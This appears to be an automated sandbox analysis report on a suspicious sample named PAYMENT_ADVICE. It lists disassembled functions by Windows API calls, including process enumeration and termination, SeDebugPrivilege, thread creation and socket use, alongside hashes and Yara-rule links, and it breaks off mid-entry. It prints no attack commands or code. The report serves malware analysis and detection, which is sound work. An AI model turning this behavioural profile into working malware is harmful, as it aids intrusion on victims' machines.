                                                              Function 00398921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0039853C,00000B00,?,?), ref: 0039892A
                                                              • HeapAlloc.KERNEL32(00000000,?,0039853C,00000B00,?,?), ref: 00398931
                                                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0039853C,00000B00,?,?), ref: 00398946
                                                              • GetCurrentProcess.KERNEL32(?,00000000,?,0039853C,00000B00,?,?), ref: 0039894E
                                                              • DuplicateHandle.KERNEL32(00000000,?,0039853C,00000B00,?,?), ref: 00398951
                                                              • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0039853C,00000B00,?,?), ref: 00398961
                                                              • GetCurrentProcess.KERNEL32(0039853C,00000000,?,0039853C,00000B00,?,?), ref: 00398969
                                                              • DuplicateHandle.KERNEL32(00000000,?,0039853C,00000B00,?,?), ref: 0039896C
                                                              • CreateThread.KERNEL32(00000000,00000000,00398992,00000000,00000000,00000000), ref: 00398986
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                              • String ID:
                                                              • API String ID: 1957940570-0
                                                              • Opcode ID: 034178ec0add21d3795b2578758f94fa96d73fb49c28f931d2ba2cf3f24a9dd6
                                                              • Instruction ID: 851cd210e0dd647218f7a7b8beb83b1870f77d049a1ea7b617cf5c20434be439
                                                              • Opcode Fuzzy Hash: 034178ec0add21d3795b2578758f94fa96d73fb49c28f931d2ba2cf3f24a9dd6
                                                              • Instruction Fuzzy Hash: 8B01BBB5240308FFE711ABA5DC4DF6B7BADEB89711F448421FA05DB1A1CA71AC00CB20
                                                              Function 003B975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0039710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?,?,00397455), ref: 00397127
                                                                • Part of subcall function 0039710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?), ref: 00397142
                                                                • Part of subcall function 0039710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?,?), ref: 00397150
                                                                • Part of subcall function 0039710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00397044,80070057,?), ref: 00397160
                                                              • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 003B9806
                                                              • _memset.LIBCMT ref: 003B9813
                                                              • _memset.LIBCMT ref: 003B9956
                                                              • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 003B9982
                                                              • CoTaskMemFree.OLE32(?), ref: 003B998D
                                                              Strings
                                                              • NULL Pointer assignment, xrefs: 003B99DB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                              • String ID: NULL Pointer assignment
                                                              • API String ID: 1300414916-2785691316
                                                              • Opcode ID: b10e941cedb3c64307c4e23c0a78a04f3613ed5cb71f791b4e946b80d4bb7566
                                                              • Instruction ID: bfc0f7e8c2a373f0233293b2a665d716dbc4c844936917b0f669a89b05e91b1a
                                                              • Opcode Fuzzy Hash: b10e941cedb3c64307c4e23c0a78a04f3613ed5cb71f791b4e946b80d4bb7566
                                                              • Instruction Fuzzy Hash: 3F914A71D00228EBDB12DFA5DC41EDEBBB9EF08714F10415AF619AB291DB716A44CFA0
                                                              Function 003C6D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 003C6E24
                                                              • SendMessageW.USER32(?,00001036,00000000,?), ref: 003C6E38
                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 003C6E52
                                                              • _wcscat.LIBCMT ref: 003C6EAD
                                                              • SendMessageW.USER32(?,00001057,00000000,?), ref: 003C6EC4
                                                              • SendMessageW.USER32(?,00001061,?,0000000F), ref: 003C6EF2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window_wcscat
                                                              • String ID: SysListView32
                                                              • API String ID: 307300125-78025650
                                                              • Opcode ID: cef7f1fa037530a91df6903c7403c0dcc2876a200b1e6ea12f012a743147bafb
                                                              • Instruction ID: 65bd245b03065eaffcb2e3f40e658f98ee270559023286ff572d3836e5f1fa4c
                                                              • Opcode Fuzzy Hash: cef7f1fa037530a91df6903c7403c0dcc2876a200b1e6ea12f012a743147bafb
                                                              • Instruction Fuzzy Hash: E2418175A00348AFDB229F64CC86FEE77E9EF08350F11442EF545E7291D6729D848B60
                                                              Function 003BE933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003A3C55: CreateToolhelp32Snapshot.KERNEL32 ref: 003A3C7A
                                                                • Part of subcall function 003A3C55: Process32FirstW.KERNEL32(00000000,?), ref: 003A3C88
                                                                • Part of subcall function 003A3C55: CloseHandle.KERNEL32(00000000), ref: 003A3D52
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 003BE9A4
                                                              • GetLastError.KERNEL32 ref: 003BE9B7
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 003BE9E6
                                                              • TerminateProcess.KERNEL32(00000000,00000000), ref: 003BEA63
                                                              • GetLastError.KERNEL32(00000000), ref: 003BEA6E
                                                              • CloseHandle.KERNEL32(00000000), ref: 003BEAA3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                              • String ID: SeDebugPrivilege
                                                              • API String ID: 2533919879-2896544425
                                                              • Opcode ID: 036a273c620e56d8e32156473674f6a83e9ff9b9fbacd77fba88ff930c8ee019
                                                              • Instruction ID: ce7bbfed17c9b6a77b97161935c940b6bb9573fef6c45b031da628d3ff6f9d83
                                                              • Opcode Fuzzy Hash: 036a273c620e56d8e32156473674f6a83e9ff9b9fbacd77fba88ff930c8ee019
                                                              • Instruction Fuzzy Hash: B141B1312002009FDB12EF28CC96FAEBBE9AF41314F048419FA029F2D2CB75E804CB91
                                                              Function 003A2F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadIconW.USER32(00000000,00007F03), ref: 003A3033
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: IconLoad
                                                              • String ID: blank$info$question$stop$warning
                                                              • API String ID: 2457776203-404129466
                                                              • Opcode ID: a8c8304c8257f440c045441e4b9bf04e2a0b3939b0c3317ca81b976dc39b159c
                                                              • Instruction ID: 227a865b8769703e0b7cbdda83d35f6c805613fcda0774b9d0f3c74275f8fa14
                                                              • Opcode Fuzzy Hash: a8c8304c8257f440c045441e4b9bf04e2a0b3939b0c3317ca81b976dc39b159c
                                                              • Instruction Fuzzy Hash: 6D11273534874ABEE71BDB18DC42CAB7B9CDF17360F21402AFA05AA181DB71AF4056A1
                                                              Function 003A42F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 003A4312
                                                              • LoadStringW.USER32(00000000), ref: 003A4319
                                                              • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 003A432F
                                                              • LoadStringW.USER32(00000000), ref: 003A4336
                                                              • _wprintf.LIBCMT ref: 003A435C
                                                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 003A437A
                                                              Strings
                                                              • %s (%d) : ==> %s: %s %s, xrefs: 003A4357
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadModuleString$Message_wprintf
                                                              • String ID: %s (%d) : ==> %s: %s %s
                                                              • API String ID: 3648134473-3128320259
                                                              • Opcode ID: 0b00bd2486e6844e4bc4a80e64d3e60ac6d50ebe811a0d394cbd584bdc49e01d
                                                              • Instruction ID: c5f8bbf88470f99a6b88b27953208bfcbf79a9cef841a66cfc19a1f6a4242933
                                                              • Opcode Fuzzy Hash: 0b00bd2486e6844e4bc4a80e64d3e60ac6d50ebe811a0d394cbd584bdc49e01d
                                                              • Instruction Fuzzy Hash: 990162F6900208BFEB52ABA0DD89EF7776CDB08300F0005A5B745E6051EA756E954B74
                                                              Function 003CD43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • GetSystemMetrics.USER32(0000000F), ref: 003CD47C
                                                              • GetSystemMetrics.USER32(0000000F), ref: 003CD49C
                                                              • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 003CD6D7
                                                              • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 003CD6F5
                                                              • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 003CD716
                                                              • ShowWindow.USER32(00000003,00000000), ref: 003CD735
                                                              • InvalidateRect.USER32(?,00000000,00000001), ref: 003CD75A
                                                              • DefDlgProcW.USER32(?,00000005,?,?), ref: 003CD77D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                              • String ID:
                                                              • API String ID: 1211466189-0
                                                              • Opcode ID: 73fda0e1e69f5ad070fa247140701fb4124f4bfab8045a302fb9af118724e6cb
                                                              • Instruction ID: 0a80f03da053b2bdd44a64c2e1cccfc2d99468236810353a22535ec9df483b0e
                                                              • Opcode Fuzzy Hash: 73fda0e1e69f5ad070fa247140701fb4124f4bfab8045a302fb9af118724e6cb
                                                              • Instruction Fuzzy Hash: 9BB17971600225AFDF16CF68C985BAA7BB1BF44701F098079FD48EA695DB34AD50CB90
                                                              Function 00342A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0037C1C7,00000004,00000000,00000000,00000000), ref: 00342ACF
                                                              • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0037C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00342B17
                                                              • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0037C1C7,00000004,00000000,00000000,00000000), ref: 0037C21A
                                                              • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0037C1C7,00000004,00000000,00000000,00000000), ref: 0037C286
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ShowWindow
                                                              • String ID:
                                                              • API String ID: 1268545403-0
                                                              • Opcode ID: 56e7d850df2997e18a974218ff0275915716892efd6cb6abf17bba80891322ef
                                                              • Instruction ID: dd32e05bcba1d104ed7ac11883357ef170d1a075de52fc9b482a50db2e7a6e65
                                                              • Opcode Fuzzy Hash: 56e7d850df2997e18a974218ff0275915716892efd6cb6abf17bba80891322ef
                                                              • Instruction Fuzzy Hash: 7E410B316146809ECB379B288C8CB6B7BDAEB45300F95C81DF44BAE961CA75B845D711
                                                              Function 003A70C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InterlockedExchange.KERNEL32(?,000001F5), ref: 003A70DD
                                                                • Part of subcall function 00360DB6: std::exception::exception.LIBCMT ref: 00360DEC
                                                                • Part of subcall function 00360DB6: __CxxThrowException@8.LIBCMT ref: 00360E01
                                                              • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 003A7114
                                                              • EnterCriticalSection.KERNEL32(?), ref: 003A7130
                                                              • _memmove.LIBCMT ref: 003A717E
                                                              • _memmove.LIBCMT ref: 003A719B
                                                              • LeaveCriticalSection.KERNEL32(?), ref: 003A71AA
                                                              • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 003A71BF
                                                              • InterlockedExchange.KERNEL32(?,000001F6), ref: 003A71DE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                              • String ID:
                                                              • API String ID: 256516436-0
                                                              • Opcode ID: 54308bf1dc51e03cf62ad247f275675ccc886150fc564c54f73cf19e615c261e
                                                              • Instruction ID: f7387647d9c8bcc3a7d233fe54b793fbe1847e9e26815bff9828ff97b5547903
                                                              • Opcode Fuzzy Hash: 54308bf1dc51e03cf62ad247f275675ccc886150fc564c54f73cf19e615c261e
                                                              • Instruction Fuzzy Hash: 21316D75900205EFCB06DFA4DC86EAFB7B9EF45310F1481B5E904EB246DB30AA10CBA0
                                                              Function 003C61D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DeleteObject.GDI32(00000000), ref: 003C61EB
                                                              • GetDC.USER32(00000000), ref: 003C61F3
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 003C61FE
                                                              • ReleaseDC.USER32(00000000,00000000), ref: 003C620A
                                                              • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 003C6246
                                                              • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 003C6257
                                                              • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,003C902A,?,?,000000FF,00000000,?,000000FF,?), ref: 003C6291
                                                              • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 003C62B1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                              • String ID:
                                                              • API String ID: 3864802216-0
                                                              • Opcode ID: 999a8ac61cb536eaf1df8ac85787bf78de2236f9fcb8eca03461dc1bde07fe23
                                                              • Instruction ID: de0db65f86ffed5b0b18f40f21292657b1129b8ea61dd25e3c83d9b8601b28f8
                                                              • Opcode Fuzzy Hash: 999a8ac61cb536eaf1df8ac85787bf78de2236f9fcb8eca03461dc1bde07fe23
                                                              • Instruction Fuzzy Hash: 5E314F72101214BFEB128F50CC8AFEA3BAEEF49765F054065FE48DA291C675AC51CB64
                                                              Function 003AEB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00349837: __itow.LIBCMT ref: 00349862
                                                                • Part of subcall function 00349837: __swprintf.LIBCMT ref: 003498AC
                                                                • Part of subcall function 0035FC86: _wcscpy.LIBCMT ref: 0035FCA9
                                                              • _wcstok.LIBCMT ref: 003AEC94
                                                              • _wcscpy.LIBCMT ref: 003AED23
                                                              • _memset.LIBCMT ref: 003AED56
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                              • String ID: X
                                                              • API String ID: 774024439-3081909835
                                                              • Opcode ID: 7b1e34bd56021f24380df8a2a00e1742bef13f4080062282d86251b84cafd8b8
                                                              • Instruction ID: c81d6ee07a9233681d789ce918d6c9ee11bedddf5c590abacb322ab55fd61942
                                                              • Opcode Fuzzy Hash: 7b1e34bd56021f24380df8a2a00e1742bef13f4080062282d86251b84cafd8b8
                                                              • Instruction Fuzzy Hash: 7FC15B716087009FC766EF24C885A6AB7E4EF85310F01492DF8999F2A2DB71EC45CB82
                                                              Function 003B6B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __WSAFDIsSet.WSOCK32(00000000,?), ref: 003B6C00
                                                              • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 003B6C21
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 003B6C34
                                                              • htons.WSOCK32(?), ref: 003B6CEA
                                                              • inet_ntoa.WSOCK32(?), ref: 003B6CA7
                                                                • Part of subcall function 0039A7E9: _strlen.LIBCMT ref: 0039A7F3
                                                                • Part of subcall function 0039A7E9: _memmove.LIBCMT ref: 0039A815
                                                              • _strlen.LIBCMT ref: 003B6D44
                                                              • _memmove.LIBCMT ref: 003B6DAD
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
